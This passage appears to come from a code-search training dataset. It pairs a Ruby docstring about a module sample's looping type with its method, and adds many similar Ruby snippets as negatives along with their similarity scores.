return nil\n end\n \n # multiple elements, grab middle and compare\n middle_index = arr.length / 2\n middle_element = arr[middle_index]\n case target <=> middle_element\n when -1 # target smaller, check left half\n new_arr = arr[0...middle_index]\n bsearch(new_arr, target)\n when 1\n new_arr = arr[middle_index+1..-1]\n answer = bsearch(new_arr, target)\n return nil if answer.nil?\n answer + middle_index + 1\n when 0\n return middle_index\n end\nend", "def two_sum(nums, target)\n\n l,r = 0, nums.count-1\n\n results = []\n\n while l < r\n\n total = nums[l] + nums[r]\n if total == target\n results << [nums[l],nums[r]]\n l,r = l+1, r-1\n elsif total < target\n l += 1\n else\n r -= 1\n end\n end\n results\nend", "def search_array2(ary, target)\n i = 0\n match = nil\n ary.each do |x|\n case\n when x == target then match = i\n else i += 1\n end\n end\n p match\nend", "def bsearch arr, target \n return nil if arr.length == 1 && !arr.include?(target)\n\n mid_idx = arr.length / 2\n\n return mid_idx if arr[mid_idx] == target \n \n left = arr.take(mid_idx)\n right = arr.drop(mid_idx)\n\n if arr[mid_idx] > target \n bsearch(left, target)\n else \n result = bsearch(right,target)\n if result.nil? \n return nil \n else \n result + mid_idx\n end\n end\nend", "def two_sum(nums, target)\n map = {}\n\n (0...nums.size).each do |i|\n current_value = nums[i]\n\n if map[target - current_value]\n return [map[target - current_value] + 1, i + 1]\n else\n map[current_value] = i\n end\n end\nend", "def binary_search(array, value, from=0, to=nil)\n if to == nil\n to = array.count - 1\n end\n\n mid = (from + to) / 2\n\n if value < array[mid]\n return binary_search array, value, from, mid - 1\n elsif value > array[mid]\n return binary_search array, value, mid + 1, to\n else\n return mid\n end\nend", "def binary_search(array, value, from=0, to=nil)\n if to == nil\n to = array.count - 1\n end\n\n mid = (from + to) / 2\n\n if value < array[mid]\n return binary_search array, value, from, mid - 1\n elsif value > array[mid]\n return binary_search array, value, mid + 1, to\n else\n return mid\n end\nend", "def binary_search(collection, value)\n low = 0\n high = collection.length\n if low >= high\n return \"not found\"\n end\n\n mid = (high / 2).ceil\n\n if collection[mid] == value\n return collection[mid]\n elsif collection[mid] < value\n binary_search(collection[(mid+1)...high], value)\n else\n binary_search(collection[low...mid], value)\n end\nend", "def search_array (array, number)\n counter = 0\n index = []\n array.each do |value|\n index << counter if value == number\n counter += 1\n end\n index.empty? ? nil : index\n end", "def two_sum(nums, target)\n hsh = Hash.new\n nums.each_with_index do |n, i|\n hsh[n] = i+1\n end\n \n nums.each_with_index do |val, ind|\n second = target - val\n if hsh.include?(second) && nums.index(second) != ind\n return [ind+1, nums.index(second)+1]\n end\n end\nend", "def binary_search(arr, target)\n mid = arr.length / 2\n left = arr.slice(0, mid)\n right = arr.slice(mid, arr.length)\n if arr.length < 2\n return arr.first == target\n elsif left.last >= target\n return binary_search(left, target)\n elsif right.last >= target\n return binary_search(right, target)\n else\n false\n end\nend", "def bsearch(arr,target)\n# p arr\nreturn nil if arr.length==1 && target != arr[0]\nmid =arr.length/2 # 3,1,1,0\n# if arr.length==1 && arr[0] != target\n# return nil\n# end\n\n\nif target==arr[mid]\n\nreturn mid\nelsif target<arr[mid]\n left_index = 0\n right_index = mid-1\n return bsearch(arr[left_index..right_index],target)\n# return bsearch(arr.take(mid),target)\nelse\n left_index = mid+1\n right_index = arr.length-1\n sub_position=bsearch(arr[left_index..right_index],target)\n # sub_position=bsearch(arr.drop(mid+1),target)\n return sub_position.nil? ? nil : (mid+1)+sub_position \n\nend\nend" ]
[ "0.7189106", "0.704484", "0.70417106", "0.7000531", "0.6976238", "0.69514835", "0.69466114", "0.6943729", "0.6914668", "0.6890714", "0.6873347", "0.68276197", "0.6796265", "0.6781647", "0.67814535", "0.67701", "0.6766559", "0.67529154", "0.67468077", "0.6730454", "0.672938", "0.6717272", "0.6712322", "0.66825366", "0.66778755", "0.6665367", "0.66323006", "0.66197544", "0.66037625", "0.660198", "0.66019076", "0.6598716", "0.6590882", "0.6587573", "0.65815246", "0.6567406", "0.6567406", "0.6562832", "0.65479624", "0.65476996", "0.65357834", "0.65319395", "0.6516386", "0.6516199", "0.6502767", "0.64992714", "0.64914596", "0.6482616", "0.6482084", "0.6474812", "0.64740264", "0.64734274", "0.64687467", "0.6465276", "0.64624476", "0.646222", "0.6455981", "0.645085", "0.6447031", "0.64415735", "0.6439431", "0.6436445", "0.64334947", "0.64334947", "0.6426219", "0.6425159", "0.6422501", "0.6399153", "0.63859826", "0.63831687", "0.63758457", "0.6374031", "0.63704634", "0.6367765", "0.6367115", "0.6362534", "0.63579226", "0.6354241", "0.6352697", "0.6343484", "0.6335961", "0.63347477", "0.63327396", "0.6323255", "0.6323147", "0.63212276", "0.63112104", "0.63048196", "0.62950075", "0.6292416", "0.6289807", "0.62714094", "0.62685496", "0.6264019", "0.6255979", "0.6255979", "0.6248086", "0.6246079", "0.6245513", "0.6243859", "0.6242305" ]
0.0
-1
returns the sample looping type (:none, :forward, or :pingpong)
def looping_type ExtendedModule::Helpers.sample_looping_type(type) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sample_looping_type(sample_type_byte)\n case sample_type_byte & 0b11\n when 0 then :none\n when 1 then :forward\n when 2 then :pingpong\n else\n raise \"this should never happen(tm)\"\n end\n end", "def loop_status\n player_iface['LoopStatus']\n end", "def looping?\n !sample_loop_length.zero?\n end", "def loop\n # Hack to get the player interface\n player_iface = @parent.player.send(:interface)\n # Fourth integrer in array is the looping status\n return player_iface.GetStatus.first[3] #== 1\n end", "def sample_type\n ExtendedModule::Helpers.sample_type(type)\n end", "def make_sound()\n\n if @type == \"Guitar\"\n return \"Twing Twang...\"\n elsif @type == \"Piano\"\n return \"Plink Plonk...\"\n end #End of if statement\n\n end", "def lights_on?\n return [true,false].sample\n end", "def unit\n [\"teaspoon\", \"cup\", \"pinch\"].sample\nend", "def computer_ai_1\n choices =['r', 'p', 's']\n choices.sample\n end", "def getSample\n if not (sample = getSamples(1))\n return false\n end\n sample[0]\n end", "def sample?\n raise 'Not implemented'\n end", "def ai_one_logic(player)\n type = player.ai\n if self.round == 0\n if self.high_bet < 5\n return 'call', 0\n else\n return 'fold', 0\n end\n else\n if self.high_bet == 0\n return 'bet', 2\n elsif self.high_bet < 4\n return 'raise', 4\n elsif self.high_bet >= 16\n return 'fold', 0\n else\n return 'call', 0\n end\n end\n end", "def get_sample_types\r\n # Check if sample belongs to new_record? line\r\n if self.line.new_record? || self.line.samples.count == 0\r\n worker_no = 0\r\n SAMPLE_CONFIG[worker_no]\r\n else\r\n prev_sample = Sample.previous_sample(self)\r\n worker_no = prev_sample.nil? ? 0 : prev_sample.worker.number\r\n worker_no <= 2 ? SAMPLE_CONFIG[worker_no] : SAMPLE_CONFIG[2]\r\n end\r\n end", "def sample_type(sample_type_byte)\n ((sample_type_byte & 0b1000) >> 3).zero? ? 8 : 16\n end", "def choose_type\n puts \"Choose a pokémon type to start playin!\"\n type = \"\"\n until type == :fire || type == :water || type == :grass\n print \"\\nFire, Water, or Grass? > \"\n type = gets.chomp.downcase.to_sym\n end\n type\n end", "def pbPlayTrainerIntroME(trainer_type)\r\n trainer_type_data = GameData::TrainerType.get(trainer_type)\r\n return if nil_or_empty?(trainer_type_data.intro_ME)\r\n bgm = pbStringToAudioFile(trainer_type_data.intro_ME)\r\n pbMEPlay(bgm)\r\nend", "def move_type_random\n case rand(6)\n when 0 then move_random\n when 1 then move_random\n when 2 then move_forward\n when 3 then move_forward\n when 4 then move_forward\n when 5 then @stop_count = 0\n end\n end", "def is_tapenum?(); @type == GRT_TAPENUM; end", "def type\n FRAME_TYPES_INVERSE[@type_value] || (\"unknown_%02x\" % @type_value).to_sym\n end", "def type\n if rank_test(0) && rank_test(2)\n :mutually_assured_destruction\n elsif rank_test(0)\n :war\n else\n :basic\n end\n end", "def sample\n @sample ||= @config['sample'].to_i\n end", "def get_play() \n # \n end", "def sample_is?(number)\n @shot_sample == number\n end", "def is_tapecode?(); @type == GRT_TAPECODE; end", "def get_poss_type(note_set)\n pitches = note_set.map { |note| note.pitch }\n pitch_set = pitches.map { |pitch| pitch % 12 }.uniq\n\n interval_loop = case pitch_set.length\n when 2\n sorted = pitches.sort.uniq { |p| p % 12 }\n (sorted[1] - sorted[0]) % 12\n when 1\n 0\n else\n ordered = pitch_set.sort\n ordered << ordered[0] + 12 # To compare first and last pitches\n ordered.each_cons(2).map{ |p, q| q - p }.join.to_i\n end\n return @@loops[interval_loop]\n end", "def play_against_human\r\n while @running\r\n turn(:X)\r\n result?\r\n break if !@running\r\n turn(:O)\r\n result?\r\n end\r\n end", "def audiotype(audio)\n if audio == \"n\"\n return \"Non-directive Audio\"\n elsif audio == \"d\"\n return \"Directive Audio\"\n else\n return \"invalid type\"\n end \n end", "def move_type_random\r\n case rand(6)\r\n when 0..3 then move_random\r\n when 4 then move_forward\r\n when 5 then @stop_count = 0\r\n end\r\n end", "def sun_sampling(input)\n puts \"The sun is so bright!\" if input == 'visible'\nend", "def is_loop\n\n true\n end", "def type\n [\"+\",\"-\",\"*\"].sample\n end", "def winner\n if type == :basic\n basic_winner\n elsif type == :war\n war_winner\n elsif type == :mutally_assured_destruction\n \"No Winner\"\n end\n end", "def audio?\n self.sti_type == AUDIO_TYPE\n end", "def type\n return :basic if @is_basic\n return :platinum if @is_platinum\n return :centurion if @is_centurion\n return :premium if @is_premium\n :unknown\n end", "def sample?\n return true unless sampling\n sampler.sample?\n end", "def is_loop\n\n false\n end", "def get_adjective\n\t\t[\"pretty\", \"ugly\", \"hideous\"].sample\n\tend", "def predict_weather\n sunshine = ['true', 'false'].sample\n if sunshine == 'true'\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def predict_weather\n sunshine = [true, false].sample\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def random\n # Hack to get the player interface\n player_iface = @parent.player.send(:interface)\n # Second integrer in array is the random status\n return player_iface.GetStatus.first[1] #== 1\n end", "def predict_weather\n # sunshine = ['true', 'false'].sample\n sunshine = [true, false].sample\n\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def type\n\n if (@player1.deck.cards.count < 3 || @player2.deck.cards.count < 3)\n if @player1.deck.cards.count < 3\n @player1.has_lost?(true)\n else\n @player2.has_lost?(true)\n end\n else\n if @player1.deck.cards[0].rank != @player2.deck.cards[0].rank\n :basic\n elsif\n (@player1.deck.cards[0].rank == @player2.deck.cards[0].rank) &&\n (@player1.deck.cards[2].rank == @player2.deck.cards[2].rank)\n :mutually_assured_destruction\n else\n :war\n end\n end\n end", "def predict_weather\n sunshine = [true, false].sample\n\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def predict_weather\n sunshine = [true, false].sample\n\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def predict_weather\n sunshine = [true, false].sample\n\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def type\n %w[taxi PHV].sample\n end", "def play?\n if seconds%@level_num == 0 && seconds != @last_time_value\n @last_time_value = seconds\n true\n @mean_msg = @insults[rand([email protected])]\n else\n false\n end\n end", "def gen_boolean\n [true, false].sample\n end", "def dam_samples(type)\n if type == :group\n self.group_damage_samples\n elsif type == :elem\n self.damage_samples\n end\n end", "def microgram? = unit == 'microgram'", "def type_normal?\n return type?(GameData::Types::NORMAL)\n end", "def predict_weather\n sunshine = ['true', false].sample\n\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def pbPlayTrainerIntroME(trainerType)\n data = pbGetTrainerTypeData(trainerType)\n if data && data[6] && data[6]!=\"\"\n bgm = pbStringToAudioFile(data[6])\n pbMEPlay(bgm)\n end\nend", "def predict_weather\n sunshine = ['true', 'false'].sample\n\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def predict_weather\n sunshine = ['true', 'false'].sample\n\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def state_tone\n result = nil\n states.each do |state|\n result = state.tone if state.tone\n end\n return result || EmptyTone\n end", "def computer_turn\n CHOICES.sample\nend", "def pbPlayDecisionSE()\n if $data_system && $data_system.respond_to?(\"decision_se\") &&\n $data_system.decision_se && $data_system.decision_se.name!=\"\"\n pbSEPlay($data_system.decision_se)\n elsif $data_system && $data_system.respond_to?(\"sounds\") &&\n $data_system.sounds && $data_system.sounds[1] && $data_system.sounds[1].name!=\"\"\n pbSEPlay($data_system.sounds[1])\n elsif FileTest.audio_exist?(\"Audio/SE/GUI sel decision\")\n pbSEPlay(\"GUI sel decision\",80)\n end\nend", "def pbPlayTrainerIntroME(trainertype)\n pbRgssOpen(\"Data/trainertypes.dat\",\"rb\"){|f|\n trainertypes = Marshal.load(f)\n if trainertypes[trainertype]\n bgm = trainertypes[trainertype][6]\n if bgm && bgm!=\"\"\n bgm = pbStringToAudioFile(bgm)\n pbMEPlay(bgm)\n return\n end\n end\n }\nend", "def predict_weather\n sunshine = ['true', 'false'].sample\n\n if sunshine == 'true'\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend", "def status\n if @av_player.nil?\n 'stop'\n else\n if @av_player.playing\n 'play'\n elsif @av_player.currentTime > 0.0\n 'pause'\n else\n 'stop'\n end\n end\n end", "def loop?\n get_animloop_array[0][0] && @battle_phase != :covered\n end", "def type\n\n if @player_1.deck.cards[0].rank != @player_2.deck.cards[0].rank\n return :basic\n elsif @player_1.deck.cards[2].rank == @player_2.deck.cards[2].rank\n return :mutually_assured_destruction\n else\n return :war\n end\n end", "def random_type; end", "def predict_weather\n sunshine = ['true', 'false'].sample\n\n if sunshine\n puts \"Today's weather will be sunny!\"\n else \n puts \"Today\\'s weather will be cloudy!\"\n end\nend", "def detect\n @trigger.off && @trigger.on && sleep(0.0001) && @trigger.off\n\n start = Time.now\n count = 0\n until @echo.on?\n count += 1\n sleep(0.00001)\n\n if count*0.00001 > TIME_OUT/1000.0\n return 0 # return 0 to indicate time out\n end\n end\n ended = Time.now\n\n diff_ns = ended.to_f*1000*1000 - start.to_f*1000*1000\n distance = (SOUND_SPEED*diff_ns).to_i/2\n\n distance\n end", "def sample(value)\n end", "def selected_game\n game_type = params['neural_network_data']['game_type']\n return LottoGame if game_type == 'lotto_game'\n return MultiGame if game_type == 'multi_game'\n end", "def is_talk? itm\n is_kind? :talk, itm\nend", "def type_ground?\n return type?(GameData::Types::GROUND)\n end", "def mono?\n @channels == 1\n end", "def mono?\n @channels == 1\n end", "def random\n return [true, false].sample\nend", "def choose\n [:rock, :paper, :scissors, :spock, :lizard].sample\n end", "def default_game_type\n GameType.game_types.first\n end", "def get_sound_source(type)\r\n sound = nil\r\n case type\r\n when :play_fitbell\r\n sound = File.join(get_resource_path, \"sound/fitebell.wav\")\r\n when :play_ba\r\n sound = File.join(get_resource_path, \"sound/ba.wav\")\r\n when :play_click4\r\n sound = File.join(get_resource_path, \"sound/click_4bit.wav\")\r\n when :play_mescola\r\n sound = File.join(get_resource_path, \"sound/dealtwocards.wav\")\r\n else\r\n @log.debug(\"Sound not recognized #{type}\")\r\n end #end case\r\n return sound\r\n end", "def sample\n self\n end", "def random\n result = [true, false].sample\n puts result\n if result == true\n puts 'sí'\n elsif result == false\n puts 'no'\n else\n puts 'error'\n end\nend", "def pbPlayBuzzerSE()\n if $data_system && $data_system.respond_to?(\"buzzer_se\") &&\n $data_system.buzzer_se && $data_system.buzzer_se.name!=\"\"\n pbSEPlay($data_system.buzzer_se)\n elsif $data_system && $data_system.respond_to?(\"sounds\") &&\n $data_system.sounds && $data_system.sounds[3] && $data_system.sounds[3].name!=\"\"\n pbSEPlay($data_system.sounds[3])\n elsif FileTest.audio_exist?(\"Audio/SE/GUI sel buzzer\")\n pbSEPlay(\"GUI sel buzzer\",80)\n end\nend", "def type_select\n puts \"#{yield if block_given?}#{MESSAGE_TYPE}\"\n str = stty\n if %w[c с].include?(str)\n Train::TYPES[0]\n elsif %w[p з].include?(str)\n Train::TYPES[1]\n else\n type_select { MESSAGE_TYPE_ERROR }\n end\n end", "def playable?\n false\n end", "def one_player_mode\nend", "def play\n response_options = ['a','b','c','w']\n while input = @ref_socket.gets\n if input.include?('move')\n blah = response_options.sample\n @ref_socket.puts blah\n elsif input.include?('wins')\n @ref_socket.close\n return\n end\n end\n end", "def wheelchair?\n [true, false].sample\n end", "def of_type(type)\r\n @pitches.select{|pitch| pitch.pitch_type == type}\r\n end", "def random\n [true, false].sample\nend", "def random\n [true, false].sample\nend", "def random\n [true, false].sample\nend", "def inspect\n \"<Sample #{@time} #{@kwh}>\"\n end", "def exhaustively_test\n [:mono, :stereo, :tri].each do |channels|\n Format::SUPPORTED_BITS_PER_SAMPLE[:pcm].each do |bits_per_sample|\n yield(channels, bits_per_sample)\n end\n end\n end", "def detect_result\n case\n when player.busted? then :player_busted\n when dealer.busted? then :dealer_busted\n when player.total > dealer.total then :player_higher\n when dealer.total > player.total then :dealer_higher\n else :tie\n end\n end", "def random\n result = [true, false].sample\nend", "def init_type\n return unless type.nil?\n\n @type = if from == to\n Synaptical::Layer::CONNECTION_TYPE[:ONE_TO_ONE]\n else\n Synaptical::Layer::CONNECTION_TYPE[:ALL_TO_ALL]\n end\n end", "def audio?\n #or @volume == 0\n if @mute or @type == \"image\"\n #puts \"no audio\"\n return false\n else\n #puts \"has audio\"\n return true\n end\n end", "def playing?\n self.in_progress? or self.caught_up?\n end", "def sound\n raise NotImplementedError\n end", "def two_player_mode\nend", "def sound; end", "def throw_again()\n [false,true].sample\n end", "def play\n @play_array = [\"rock\", \"paper\", \"scissors\"]\n @play_array.sample\n end" ]
[ "0.7823311", "0.60263973", "0.59129345", "0.5838798", "0.56941515", "0.56842494", "0.555724", "0.5548535", "0.5480717", "0.5436601", "0.5373245", "0.5355251", "0.5346695", "0.5327974", "0.53050274", "0.529965", "0.5285641", "0.52448773", "0.52398396", "0.52189696", "0.52119994", "0.52056587", "0.51988167", "0.51951265", "0.51946557", "0.51715636", "0.5170543", "0.5163129", "0.5143913", "0.51122695", "0.5107811", "0.5097847", "0.50970954", "0.50897944", "0.5088181", "0.5080769", "0.5074084", "0.5066372", "0.50660944", "0.5063775", "0.5060586", "0.5056431", "0.50548947", "0.50548947", "0.50548947", "0.50461626", "0.50450003", "0.5035434", "0.50349915", "0.5031532", "0.50312865", "0.502905", "0.5023815", "0.5023664", "0.5023664", "0.5022954", "0.50134706", "0.5013339", "0.5011721", "0.50115716", "0.5009672", "0.5004753", "0.49992198", "0.49948248", "0.4985849", "0.49763852", "0.4974365", "0.49708962", "0.49689308", "0.4967693", "0.4965551", "0.4965551", "0.4963933", "0.49617815", "0.49614164", "0.49592045", "0.4954365", "0.494513", "0.49343163", "0.49340954", "0.49286562", "0.49263573", "0.49255857", "0.49231395", "0.4909034", "0.49082756", "0.49082756", "0.49082756", "0.48902777", "0.4889864", "0.48835945", "0.48733202", "0.4867618", "0.4867233", "0.4863069", "0.48628125", "0.48517242", "0.48499888", "0.48486662", "0.48412278" ]
0.77532566
1
returns the sample type (8 bit or 16 bit)
def sample_type ExtendedModule::Helpers.sample_type(type) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sample_type(sample_type_byte)\n ((sample_type_byte & 0b1000) >> 3).zero? ? 8 : 16\n end", "def get_sample_types\r\n # Check if sample belongs to new_record? line\r\n if self.line.new_record? || self.line.samples.count == 0\r\n worker_no = 0\r\n SAMPLE_CONFIG[worker_no]\r\n else\r\n prev_sample = Sample.previous_sample(self)\r\n worker_no = prev_sample.nil? ? 0 : prev_sample.worker.number\r\n worker_no <= 2 ? SAMPLE_CONFIG[worker_no] : SAMPLE_CONFIG[2]\r\n end\r\n end", "def bits_per_sample\n @format.bits_per_sample\n end", "def type\n %w[taxi PHV].sample\n end", "def has_sample?\n sample_width.is_a?(Integer)\n end", "def mediatype; end", "def sample_rate\n mediainfo.audio.samplingrate\n end", "def short_binary_type; end", "def barcode_type\n rtn = :none\n rtn = samples[0].barcode_type if samples[0]\n rtn\n end", "def sample_looping_type(sample_type_byte)\n case sample_type_byte & 0b11\n when 0 then :none\n when 1 then :forward\n when 2 then :pingpong\n else\n raise \"this should never happen(tm)\"\n end\n end", "def getSample\n if not (sample = getSamples(1))\n return false\n end\n sample[0]\n end", "def bit_rate_mode\n mediainfo.audio.bit_rate_mode\n end", "def type\n TYPES[self[:type_flags] & 0x3]\n end", "def kind\n type.to_s.underscore[5..-1]\n end", "def sample_rate\n @format.sample_rate\n end", "def image_type\n ImageScience.fif_to_string(@file_type)\n end", "def classifySample(sample)\n if sample =~/VIR|viral/\n return \"VIR\"\n elsif sample =~/LG/ || sample =~/01a/\n return 3.0\n elsif sample =~/SM/ || sample =~/01b/ || sample =~/GS-25-/ || sample =~/GOS108XLRVAL-4F-1-400_FG5HGJH01/ || sample =~/GOS108XLRVAL-4F-1-400_FG5HGJH02/ || sample =~/GOS108XLRVAL-4F-1-400_FJGGSX101/\n return 0.8\n elsif sample =~/00[b|c|d]/\n return 0.22\n else\n return 0.1\n end\nend", "def type_code \n 4\n end", "def get_size\n\t\t[\"small\", \"medium\", \"large\"].sample\n\tend", "def sample\n @sample ||= @config['sample'].to_i\n end", "def type\n [\"+\",\"-\",\"*\"].sample\n end", "def kind \n return @raw.kind \n end", "def getBin\n case @binDataType\n when 'B'\n bin = Bin.new('information', BytesValue.new(randString(@binDataSize)))\n when 'S'\n bin = Bin.new('information', StringValue.new(randString(@binDataSize)))\n else\n bin = Bin.new('information', IntegerValue.new(2**63))\n end\n\n bin\nend", "def extract_bands_type\n output_message = extract_raster_info(filepath)\n matches = output_message.scan(/band \\d* .* type=(\\w*)/i)\n raise TiffToSqlConversionError.new(\"Error obtaining band field type: #{output_message}\") if matches.empty?\n\n matches.flatten\n end", "def extract_bands_type\n output_message = extract_raster_info(filepath)\n matches = output_message.scan(/band \\d* .* type=(\\w*)/i)\n raise TiffToSqlConversionError.new(\"Error obtaining band field type: #{output_message}\") if matches.empty?\n\n matches.flatten\n end", "def random_type; end", "def type\n @av_codec_context[:codec_type]\n end", "def type\n return :basic if @is_basic\n return :platinum if @is_platinum\n return :centurion if @is_centurion\n return :premium if @is_premium\n :unknown\n end", "def allow_sample?(sample)\n true\n end", "def looping_type\n ExtendedModule::Helpers.sample_looping_type(type)\n end", "def get_type\n\n end", "def sample_rate\n @ole.SampleRate\n end", "def type\n FRAME_TYPES_INVERSE[@type_value] || (\"unknown_%02x\" % @type_value).to_sym\n end", "def sample_is?(number)\n @shot_sample == number\n end", "def factor_for type, sample\n case type\n when :const\n sample.to_f\n when :logn\n sample.to_f/Math.log10(@sample_size)\n\n when :n\n sample.to_f/@sample_size\n\n when :nlogn\n sample.to_f/(@sample_size * Math.log10(@sample_size))\n\n when :n_sq\n sample.to_f/(@sample_size * @sample_size)\n end\n end", "def samples_count\n count = 0\n sample_types = Util.all_required_samples(:all) - [:deviation]\n sample_types.each do |sample_type|\n count += self.send(sample_type.to_s + \"_samples\").count\n end\n count\n end", "def read\n if sample = raw_read\n return Typelib.to_ruby(sample)\n end\n end", "def accepted_media_element_sti_type\n case kind\n when COVER, IMAGE1, IMAGE2, IMAGE3, IMAGE4\n MediaElement::IMAGE_TYPE\n when VIDEO1, VIDEO2\n MediaElement::VIDEO_TYPE\n when AUDIO\n MediaElement::AUDIO_TYPE\n else\n ''\n end\n end", "def new_sample\n @type.new\n end", "def dam_samples(type)\n if type == :group\n self.group_damage_samples\n elsif type == :elem\n self.damage_samples\n end\n end", "def data_type\n return @data_type\n end", "def device_type\n self[:type]\n end", "def type\n return @type if @type != \"unknown\"\n info\n @type\n end", "def i16s\n little? ? BinUtils.get_sint16_le(read(2)) : BinUtils.get_sint16_be(read(2))\n end", "def exhaustively_test\n [:mono, :stereo, :tri].each do |channels|\n Format::SUPPORTED_BITS_PER_SAMPLE[:pcm].each do |bits_per_sample|\n yield(channels, bits_per_sample)\n end\n end\n end", "def data_type\n @options[:data_type].presence\n end", "def type\n data.type\n end", "def device_type\n self[:type]\n end", "def sti_type\n self.type\n end", "def data_type\n\t\tend", "def audio_format\n @descriptive_detail.audio_format\n end", "def type\n self['TYPE'].to_i\n end", "def type\n type_and_version[0]\n end", "def get_kind\n\t\tend", "def input_type; end", "def format\n @format ||= \n AudioFormat.new(encoding, rate, size, channels, 1, rate, false)\n end", "def device_type\n return @device_type\n end", "def sampler_info\n @sample_chunk\n end", "def human_type\n Core::TYPES_DESC[type]\n end", "def hardware_type\n self[:h_type].to_endian(:big)\n end", "def subtype\n self.numeric_type\n end", "def subtype\n self.numeric_type\n end", "def type\n return @type\n end", "def st_type\n Type.new(header.st_info & 0xf)\n end", "def get_random_type(entropy = 0)\n entropy ||= 21\n dice = rand(0..100)\n\n return 2 if dice < entropy / 3\n\n return 3 if dice < entropy / 3 * 2\n\n return 4 if dice < entropy\n\n 1\n end", "def type\n types.first\n end", "def audio_types\n ldr6 = record.leader[6]\n\n types = []\n\n # Get the 8524* fields\n f8524 = record.fields('852').select{|f| f.indicator1 == '4'}\n\n # RC\n if %w[i j].include?(ldr6) && (bib_format == 'MU') \n @record.fields('007').map{|f| f.value}.each do |f|\n if f[1] == 'd' && f[12] == 'e'\n types << 'RC'\n break\n end\n end\n end\n\n f8524.each do |f|\n if (f['b'].upcase == 'MUSIC') && (f['j'] =~ /\\ACD/i)\n types << 'RC'\n break\n end\n end\n\n # RL\n\n if (bib_format == 'MU') && %w[i j].include?(ldr6) && self['007[1]'].include?('d')\n record.fields('300').each do |f|\n str = f.subfields.collect {|s| s.value}.join(' ')\n if (str =~ /DISC/i) && str =~ /33 1\\/3 RPM/i\n types << 'RL'\n break\n end\n end\n end\n\n\n f8524.each do |f|\n if (f['j'] =~ /\\ALP/i) &&\n ((f['b'].upcase == 'MUSIC') || (f['c'].upcase == 'MUSI'))\n types << 'RL'\n break\n end\n end\n\n # RM\n types << 'RM' if (ldr6 == 'j') && (bib_format == 'MU')\n\n # RS\n types << 'RS' if (ldr6 == 'i') && (bib_format == 'MU')\n\n # RU\n types << 'RU' if %w[i j].include?(ldr6) && (bib_format == 'MU')\n\n types.uniq!\n return types\n end", "def value_type\n @type.value_type\n end", "def mode\n case @data_list\n when QRNumeric\n :mode_number\n when QRAlphanumeric\n :mode_alpha_numk\n else\n :mode_8bit_byte\n end\n end", "def type\n\t\t@type\n\tend", "def data_type\n\tend", "def mediatype\n media_type\n end", "def device_type\n self[:type]\n end", "def is_mag?(); @type == GRT_MAG; end", "def type\n @type.to_s\n end", "def sample_size\n @n\n end", "def getSampleName()\n return @sample\n end", "def detection_type\n return @detection_type\n end", "def machine_type\n case matrix_size\n when 1..1.megabyte\n MACHINE_TYPES[:small]\n when 1.megabyte..1.gigabyte\n MACHINE_TYPES[:medium]\n else\n MACHINE_TYPES[:large]\n end\n end", "def mType(inParams)\n retVal = @m_typeDefault\n\n case inParams[:colour]\n when 'red'\n retVal = 'kr'\n when 'blue'\n retVal = 'kb'\n end\n retVal += 'p' if inParams[:is_primary];\n retVal\n end", "def mediatype\n\t\treturn \"%s/%s\" % [ self.type || '*', self.subtype || '*' ]\n\tend", "def read\n if sample = raw_read\n Typelib.to_ruby(sample)\n end\n end", "def retrieve_instance_type\n instance_memory = (Facter.value(:memorysize).to_f)\n instance_type = if instance_memory >= 8\n 'Extra Large'\n elsif instance_memory >= 4\n 'Large'\n elsif instance_memory >= 2\n 'Medium'\n elsif instance_memory >= 1\n 'Small'\n elsif instance_memory >= 0.5\n 'Extra Small'\n else\n 'Unknown'\n end\n instance_type\nend", "def type\n\t\t\t@data[\"type\"]\n\t\tend", "def musical_score_types\n types = []\n types << 'MS' if %w[c d].include?(record.leader[6])\n return types\n end", "def microform_types\n return [] unless record['008']\n types = ['WM']\n f8_23 = record['008'].value[23]\n return types if %w[BK MU SE MX].include?(bib_format) && %w[a b c].include?(f8_23)\n\n f8_29 = record['008'].value[29]\n return types if %w[MP VM].include?(bib_format) && %w[a b c].include?(f8_29)\n\n return types if record['245'] && (record['245']['h'] =~ /micro/i)\n\n # Nope. Not microform\n return []\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def getIntervalType\n\t\t# get the interval type from settings\n\t\t# currently not implemented. It will useful in future\n\t\tintervalType = 'W'\n\t\tintervalType\n\tend", "def canonic_type\n t = type.to_s.downcase.to_sym\n CANONIC_TYPES[ t ] || t\n end", "def data_type_pretty\n type_string =\n case(@band.DataType)\n when Gdal::Gdalconst::GDT_UNKNOWN; 'GDT_UNKNOWN'\n when Gdal::Gdalconst::GDT_BYTE; 'GDT_BYTE'\n when Gdal::Gdalconst::GDT_UINT16;'GDT_UINT16'\n when Gdal::Gdalconst::GDT_INT16;'GDT_INT16'\n when Gdal::Gdalconst::GDT_UINT32; 'GDT_UINT32'\n when Gdal::Gdalconst::GDT_INT32; 'GDT_INT32'\n when Gdal::Gdalconst::GDT_FLOAT32; 'IDT_FLOAT32'\n when Gdal::Gdalconst::GDT_FLOAT64; 'GDT_FLOAT64'\n when Gdal::Gdalconst::GDT_CINT16; 'GDT_CINT16' \n when Gdal::Gdalconst::GDT_CINT32; 'GDT_CINT32' \n when Gdal::Gdalconst::GDT_CFLOAT32; 'GDT_CFLOAT32' \n when Gdal::Gdalconst::GDT_CFLOAT64; 